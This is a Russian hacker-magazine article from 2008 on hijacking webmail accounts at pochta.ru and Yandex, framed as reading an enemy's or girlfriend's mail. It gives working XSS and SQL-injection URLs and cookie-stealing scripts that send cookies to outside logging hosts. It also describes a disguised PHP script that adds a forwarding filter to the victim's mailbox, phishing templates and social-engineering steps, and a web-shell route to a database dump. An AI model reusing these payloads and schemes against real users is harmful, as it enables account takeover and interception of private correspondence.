Как угнать почтовый ящик
Почтовые дыры в популярных системах Digimortal, NST
🕛 28.08.2008, 16:38
Нередко у хакера возникает желание прочитать чужую почту. Будь то мыльник любимой девушки или злейшего врага. При этом взломщик применяет всяческие ухищрения: перебор паролей, протроянивание жертвы и т.п. Но данные приемы не особо эффективны и редко дают положительный эффект. Сейчас мы протестируем на прочность две почтовые системы - pochta.ru и yandex.ru. А найденные дырки в скриптах помогут нам легко и быстро попасть в желаемый почтовый ящик.Pochta.ru - первая жертва
Однажды один мой знакомый поинтересовался у меня, возможно ли получить доступ к почтовому ящику, прописанному на Почте.ру. Я об уязвимостях этого сервиса на тот момент ничего не знал и поэтому решил посмотреть что там к чему. Зайдя на главную страницу, я тут же заметил первый глюк - счетчик, показывающий количество принятых за день писем был нулевым, в то время как отправленных писем было более десяти тысяч. Зарегистрировав себе ящик, я убедился, что это был не глюк системы подсчета пересылаемых писем, просто-напросто письма в тот день на Почту.ру вообще не доходили. То же самое я увидел и на следующий день. К чему я клоню? Просто хочу намекнуть тебе, не использовать данную почтовую службу для пересылки почты стратегической важности.
Впрочем, перейдем к делу. Я знал, что человек, в ящик которого нужно было попасть, использует веб-интерфейс для входа, и весьма высока вероятность того, что исполнение javascript'ов в его браузере разрешено. Понятное дело, разумным будет тогда попробовать найти XSS на сайте и угнать его куки. Решив взглянуть на содержимое cookies, которые передает сайт, я обнаружил, что по умолчанию куки не приходят - нужно при входе в ящик разрешить прием плюшек. Повторив вход, таким образом, я обнаружил целых четыре печенюшки, залетевшие мне на комп. Их содержимое меня, в принципе, мало интересовало. По названиям было видно, что там находятся зашифрованные логин и пароль - в общем, все, что нужно для быстрого входа в ящик. Срок их действия составляет аж целый год. Конечно, далеко не каждый пользователь использует подобный способ аутентификации, но все же стоило попробовать.
Баг 1. XSS
Осмотрев свой почтовый ящик, я принялся экспериментировать с ним, разыскивая наличие XSS. Разыскивать долго не пришлось, точнее не пришлось совсем. Представь мое удивление, когда я обнаружил баг уже с первой попытки! Уязвимым оказался сценарий mailbox.php, служащий для перемещений по папкам почтового ящика. Данному скрипту передается параметр mailb, который содержит название папки, в которую необходимо осуществить переход. Если подставить в этот параметр значение, не совпадающее с имеющейся в данном ящике папкой, то получаем переход на несуществующую папку, название которой попадает в html-код странице. Вставив небольшой кусочек javascript-кода в качестве значения mailb, я увидел в выскочившем окошке содержимое своих кукисов:
http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983&mailb=<script>alert(Document.cookie)</script>
Но, как ты уже сам видишь, помимо этого скрипту так же передается параметр id, содержащий идентификатор сессии пользователя. Данный параметр, создаваемый при входе в ящик, уникален для каждого входа, и узнать каким он должен быть у человека, который получит ссылку, отравленную XSS, попросту невозможно. Понимая это, я принялся искать брешь там, где данный идентификатор не используется, т.е. за пределами ящика. Но, как и следовало ожидать, ничего не нашел. Возникло предположение, что именно наличием параметра id руководствовались программисты, создавшие скрипт, совершенно не фильтрующий ввод (могли бы хоть спецсимволы запретить). Как оказалось, нет - просто видать не доделали чего-то.
Баг 2. SQL-inj
Если сценарий никак не фильтрует ввод, то и сам параметр id может быть уязвим, решил я. И не ошибся. Конечно, значения идентификаторов сессий хранятся в БД. Проверим на скуль-иньекцию. Подставив кавычку в конец идентификатора, я вылетел из своего ящика, затем я дописал конструкцию вида "'or'1=1" (без кавычек, ясное дело):
http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983'or'1=1
Вот тут началось самое интересное - я оказался в чужом ящике! Это было уже действительно забавно. Немного порывшись в настройках, заглянув на сайт, я задался вопросом, почему меня перенесло именно на этот ящик? Логика подставленного значения параметра id означает, что в теории я мог попасть на любой из ящиков, для которых в БД хранится идентификатор сессии, т.е. на любой из ящиков, которые в это время кто-нибудь просматривает. Я стал различными способами видоизменять вышеприведенный запрос, в итоге, обнаружив, что "1=1" писать необязательно, достаточно написать просто "1" (или любое число >0). Кроме того, значение идентификатора теперь перестало иметь свой смысл, нужно было оставить только букву "N" в начале (с таким id не получалось зайти на сайт, прилагаемый к данному ящику, но мне это было и не нужно). В итоге, запрос сократился до следующего вида:
http://www9.pochta.ru/mailbox.php?id=N'or'1
Набрав эту ссылку в адресной строке браузера, можно было сходу попасть в чей-нибудь ящик. И тут я понял, что с ящиком, в который я попадаю, все не так просто. Несколько раз обновив страницу в браузере, я заметил, что в ящике появляются новые папки, меняется цвет фона и т.п. Я зашел в папку "Входящие" и начал обновлять страницу. Тут все уже прояснилось - сначала мне казалось, что я попадаю в какой-то конкретный ящик, но на деле все оказалось так, как и диктовала логика запроса - мне были видны письма всех (хотя я в этом до конца не уверен) пользователей, идентифицировавшихся в системе. Причем, обновляя страницу, были видны последние, судя по дате, письма отправляемые/получаемые данной почтовой системой. Правда, оказалось, что прочитать удается далеко не каждое из них. Все это действовало, но весьма глючно.
Теперь у меня возникло еще одно предположение, которое не могло быть неверным: если я начну с таким значением id, вносить какие-то изменения в настройки, создавать папки и т.д., то это отразится и на всех остальных ящиках, для которых в данный момент создан идентификатор сессии. Так оно и оказалось и даже более того: другие пользователи во время моего вмешательства в работу базы данных идентификаторов текущих сессий, при заходе в ящик видели примерно то же, что и я при входе с id=N'or'1. Все это происходило очень весело: кто-то создал папку под названием "Кто_нибудь_знает_что_происходит", и понеслись ответы-предположения. Получился своеобразный чат, где каждый мог выразить свою мысль в названии созданной им папки :). После многих кликов на кнопку обновления страницы, я увидел, что ящик, в который я попадаю, все же меняется время от времени на другой (по всей видимости, по истечению действия его id).
После этого я еще несколько раз заходил на сайт Почты.ру с таким значением id в URL. В итоге решил, что не нужно лишний раз палиться, ведь юзеры почты могут отписать админам, и эту багу залатают. А у меня уже возникла идея, как применить ее для решения задачи, которую я изначально ставил перед собой - захвата ящика.
Добываем куки
Итак, мы имеем два уязвимых параметра в скрипте. Сразу приходит на ум идея проэксплуатировать их вместе:
http://www9.pochta.ru/mailbox.php?id=N'or'1&mailb=[здесь скрипт, угоняющий куки]
Отличная идея! Такой ядовитый урл можно кинуть жертве в аську, конечно, надежнее замаскировав его, и куки с почты полетят на твой сниффер, а если быть более точным, прилетят куки всех зашедших на свой ящик пользователей почты. Повозившись немного, я составил следующий xss-сплоит:
http://www9.pochta.ru/mailbox.php?id=N'or'1&mailb=<script>document.location="http://ccl.whiteacid.org/log.php?123456"%2Bdocument.cookie</script>
Здесь, "http://ccl.whiteacid.org/log.php?123456" - адрес сниффера (см. врезку), "%2B" - это знак "+" в url-кодировке (дело в том, что скрипт перед попаданием в тело страницы декодируется из URL-кодировки, и "+" заменяется пробелом). Используемый скрипт далеко не идеален, он открывает сайт почты, а затем переносит на чистую страницу сниффера. Как показала практика, обычно, на это юзеры реагируют нажатием кнопки "обновить" или "назад". Конечно, на загрузку сайта почты, многие отреагируют подозрительно. С подозрением отнесутся и к предложению кликнуть по присланной тобою ссылке, даже по-максимуму замаскированной. И тут мне вспомнилась еще одна вещь, которую я заметил раньше. Фишка в том, что если я вносил javascript-код в тело страницы:
http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983&mailb=<script>alert('xss')</script>
То при переходе по ссылке
http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983
он вновь исполнялся. Пока не будет осуществлен выход из ящика, т.е. завершение сессии. Аналогично, запустив вышеописанный сплоит на своем компе, я мог просто переслать ссылку
http://www9.pochta.ru/mailbox.php?id=N'or'1
вместо сплоита! Тут даже продвинутый юзер ни о чем не догадается, а если хоть немного владеть СИ, то и подавно.
Угон ящика
После всего этого я составил план похищения ящика:
1. Вступить в контакт с жертвой по icq.
2. Заставить приемами СИ жертву зайти по ссылке http://www9.pochta.ru/mailbox.php?id=N'or'1, перед этим, самому зайти на сайт по ссылке со сплоитом.
3. Отыскать среди кучи логов запись, принадлежащую жертве, при этом, не прекращая общаться через аську, чтоб тот не успел сообразить, что его поимели.
4. Если куки есть, то это очень круто. Осталось вставить их вместо собственных и зайти в ящик. Времени терять не стоит, нужно будет подсмотреть ответ на секретный вопрос, который хранится в открытом виде (весьма часто встречающаяся недоработка создателей почтовых систем, не так ли ;). Все. Остается только сменить пароль на почтовый ящик :).
ccl.whiteacid.org - это сайт проекта Community cookie logger, представляющего собой общедоступный логгер запросов, аналогичный тому, что висит, например, на Античате. Но, в отличие от многих других подобных проектов, каждый пользователь здесь имеет свой собственный уникальный идентификатор, для которого ведется отдельный лог. Доступ к логу закрыт паролем, поэтому собранная тобою инфа будет доступна тебе одному. В ситуации, когда нет времени/возможности/желания использовать собственный сниффер данный сайт сможет оказать неоценимую помощь.
Яндекс - найдется все!
До сих пор я удивляюсь, почему программисты, работая над крупными и популярными проектами, еще не уяснили, что необходимо фильтровать на предмет спецсимволов все данные, приходящие от пользователя, которые как-либо могут повлиять на работу системы. Несмотря на все убеждения, кодеры пренебрегают фильтрами, или делают их крайне ненадежными. А зря, ведь это приводит к фатальным исходам. Готовься! Сейчас я поведаю тебе способы угона ящика в популярной системе Яндекс.
YandeXSS
Заморачиваясь угоном вражеского почтового ящика, я продумал механизм поиска изъянов в почтовой системе.
Сценарий своих действий я видел таким:
1. Нахожу пассивную или активную XSS. На первый вариант надежды больше, так как все поля, данные из которых заносятся в текст письма отфильтрованы 33 раза. Желательно, чтобы XSS была в домене mail.yandex.ru для меньшей подозрительности у недруга.
2. Пишу снифер, который будет вытаскивать из кукизов полезную информацию, сохранять ее в лог и оповещать меня по почте об появление новых записей в логе. Оповещение необходимо, так как сессии на Яндексе долго не живут.
3. В сервисах какого-нибудь оператора сотовой связи можно взять услугу, которая будет сбрасывать оповещение на телефон о получение корреспонденции на обслуживаемый почтовый ящик. Тот самый, на который будут приходить оповещения от снифера.
И начались многочисленные первичные проверки полей на предмет XSS, подстановкой в поля конструкции вида <i>TEST</i> и мониторинг на предмет курсивного слова TEST. Заодно у меня будет примерный список потенциальных параметров, в которых возможна XSS, где мешает только фильтр, который можно попытаться обмануть.
В секции “Письма” все глухо, да тут и полей, на которые я могу как-то влиять всего три. Итак, давай взглянем на них.
Поля “От кого” и “Тема” отфильтрованы начисто, поле “Поиск в папке” на мою конструкцию ругается “синтаксическая ошибка”, после чего я вижу свою внедряемою строку в неизменном виде. Все ясно - тут фильтр.
Переходим к секции “Адресная книга” как оказалась тут просто кладезь XSS и все они активные. После нескольких проверок, выяснилось, что фильтрами тут и не пахло, так как можно свободно внедрить конструкцию подобную <script>alert(‘NST’)</script>
Только вот активность этих XSS обусловлена пользователем. Т.е. это все хорошо, когда мы находимся у себя в ящике и сами внедряем нужные значения, активизируя XSS. Но что бы это провернуть в ящике недруга мне необходимо, чтобы недруг отправил POST запрос на скрипт colabook_addp с необходимыми значениями и сам активизировал XSS.
И тут меня осенило: я перешел в секцию Поиск и стал проверять тамошние поля. Здесь у нас всего два поля из которых одно было проверено в секции “Письма” оптимистично. Ну что ж подставляю в поле “Поиск по адресам” <script>alert('Someone XSS here ???')</script>. Вуаля! Код выполняется.
Итак, все ингредиенты у нас теперь есть.
Меня посетила мысль, а что если с помощью XSS утащить сессию у недруга, передать ее скрипту, а уже он отправит POST запрос на добавления фильтра. Проблем с Referer тут не будет, так как скриптом мы можем формировать заголовки, какие только пожелает сервер.
Пользователю необходимо скинуть письмо якобы от какой-нибудь службы Яндекса, в котором вставить ссылку, закодировав все, что будет привлекать внимание в сложночитаемый URL. Яндекс умная система, она сама отформатирует ссылку HTML-ом и пользователь ее будет видеть как обычную ссылку на сайтах. Сказано - реализовано, в итоге у меня получился вот такой XSS
<script src=http://nst.void.ru/s/s.js></script>
После преобразования его в кодированный URL (я использовал nST Calc)
nstCalc.pl -urle “<script src=http://nst.void.ru/s/s.js></script>”
и добавления полученного в параметр, где я нашел XSS, ссылка приняла такой вид
http://mail.yandex.ru/search?help=error&address%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%6E%73%74%2E%76%6F%69%64%2E%72%75%2F%73%2F%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E&do=1
Скрипт s.js выглядел следующим образом:
i = new Image; i.src='http://nst.void.ru/s/s.php?'+document.cookie;
window.location='http://mail.yandex.ru/yamail';
Переменная help и ее значение error здесь используется для правдоподобности ссылки. Пусть недруг думает, что это ссылка на некую помощь.
Можно было и не делать промежуточный скрипт s.js, а напрямую внедрить window.location=http:// Но в таком случае ссылка была бы значительно больше и привлекала бы лишнее внимание.
Затем я написал сценарий на PHP, назвав его s.gif который будет вытаскивать сессию из QUERY_STRING (именно там окажется кука, а, следовательно, и сессия в ней, после выполнения в браузере недруга скрипта s.js) а затем скрипт сделает необходимый POST запрос который добавит фильтр недругу (его код ты можешь найти на нашем диске).
Для правильной работы данному скрипту необходимы следующие условия:
1. На сервере должно быть разрешено использование функции fsockopen(). Увы, на бесплатных хостингах ее часто блокируют.
2. Необходимо чтобы s.gif обрабатывался PHP, например в Apache этого можно добиться с помощью .htaccess файла следующего содержания, который необходимо поместить в директорию, где лежит s.gif
<Files "s.gif">
AddType application/x-httpd-php .gif
</Files>
3. На файл data.txt необходимо установить соответствующие права доступа.
Сообщения на основе шаблонов
Теперь осталось сделать так, чтобы недруг кликнул по нашей ссылке, которая придет ему в письме. Я написал небольшой скрипт на Perl (его код ты также отыщешь на диске). Он использует шаблоны и на основе их отправляет письмо пользователю.
В качестве шаблонов юзаются сообщения, которые присылает яндекс-служба в случае каких-то некорректных действий. Так же подойдут мессаги о получение открытки с cards.yandex.ru и многие другие.
Фантазируй и пиши шаблоны сам. Зная основы социальной инженерии, ты можешь быть уверен, что пользователь кликнет по ссылке.
В атаку!
После всех теоретическо-кодерских слов я на примере воспользуюсь данной техникой для того, чтобы получить доступ к переписке недруга.
Предположим, у моего недруга имеется ящик Mister-N@yandex.ru (назовем его мистер N). Он ведет конфиденциальную переписку со своей подругой-хакершей которая использует ящик Mis-S@mail.ru (мисс S). А я буду использовать ящик Mister-T@yandex.ru (назовем меня мистером T).
На каком-нибудь хостинге, где есть поддержка PHP и можно работать с сокетами, я создаю директорию s и загружаю в нее файлы s.gif , s.js и .htaccess
С заранее приготовленного шелла запускаю ya_tpl_msg.pl таким образом:
ya_tpl_msg.pl Mister-N@yandex.ru 2.tpl
Мистер N заходит в очередной раз проверить свою почту через Web. Видит, что пришло сообщение о том, что какое-то письмо для его подруги не отправилось, и недолго думая кликает по ссылке.
В итоге его перебрасывает на главную страницу почты Яндекса. Он куда-то торопится, не осознавая, что случилось, и просто удаляет это сообщение, сославшись на ошибку системы.
Тем временем мистер T получает на мобильник уведомление о том, что пришла новая корреспонденция в ящик Hide-Seek1@yandex.ru. Проверяет его и успешно активирует фильтр.
Спустя некоторое время мисс S отправляет письмо мистеру N, но письмо так же оказывается у мистера T.
XXX ЗАГОЛОВОК XXX
Подытожим
Как видно из статьи, Yandex допустил ошибки в двух местах. Анализируя любую систему, изучи все ее возможности и применяй полученные знания в комплексе для достижения своей цели.
Yandex под угрозой
Все игры с XSS и SQL-Injection в почтовых системах - просто детские шалости по сравнению с багом, на yandex.ru, который существовал от зарождения narod.ru до недавнего времени. Пара умных чуваков из известной хакерской команды случайным образом наткнулись на тупую дыру в движке Яндекса. Как известно, каждый аккаунт на Народе снабжен собственной Web-мастерской. Ее средства позволяют добавлять, редактировать и удалять файлы через Web. В процессе редактирования, в адресной строке браузера можно увидеть название изменяемого файла. После исправления имени на .htaccess и добавления в документ заветной строки «AddType application/x-httpd-php .jpg», любой желающий получал возможность запускать скрипты, замаскированные под картинку. Далее все просто: взломщик заливает шелл, переименовывает его в 1.jpg, обращается к «картинке» и выполняет ряд нехитрых команд. В первую очередь, его интересует содержимое httpd.conf, найденный с помощью locate. Далее ищутся сценарии для работы с БД, в которых обязательно содержатся заветные реквизиты (логин, пароль и имя базы). И, наконец, запускается Mysql-manager (этот компонент можно найти в любом PHP-шелле), через который благополучно бэкапится вся БД :).
«Так как же угнать вражеский почтовый ящик?», - спросишь ты. Очень просто - в БД содержатся все логины, пароли и ответы на секретные вопросы. Пароли шифруются в MD5, однако, все ответы на вопросы записаны в чистом виде. Поэтому для угона мыльника взломщик кликает на ссылку «Забыли пароль» и правильно отвечает на секретный вопрос. Вуаля! Почтовый ящик взломан!
К сожалению, этот баг теперь закрыт. То есть, Yandex не позволяет выполнять код, несмотря на создание .htaccess. Но, возможно, вдохновленный идеей, ты найдешь новые недокументированные возможности движка после прочтения этой статьи :). Кстати, на диске ты отыщешь видео, доказывающее, что брешь существовала, и ей активно пользовались матерые хакеры.
WARNING
Данная статья есть плод моего дикого воображения. Читатель должен воспринимать этот материал как информацию к размышлению. А размышлять об этом рекомендуется в теоретической форме и ни в коем случае не переходить к практике. Это наказуемо.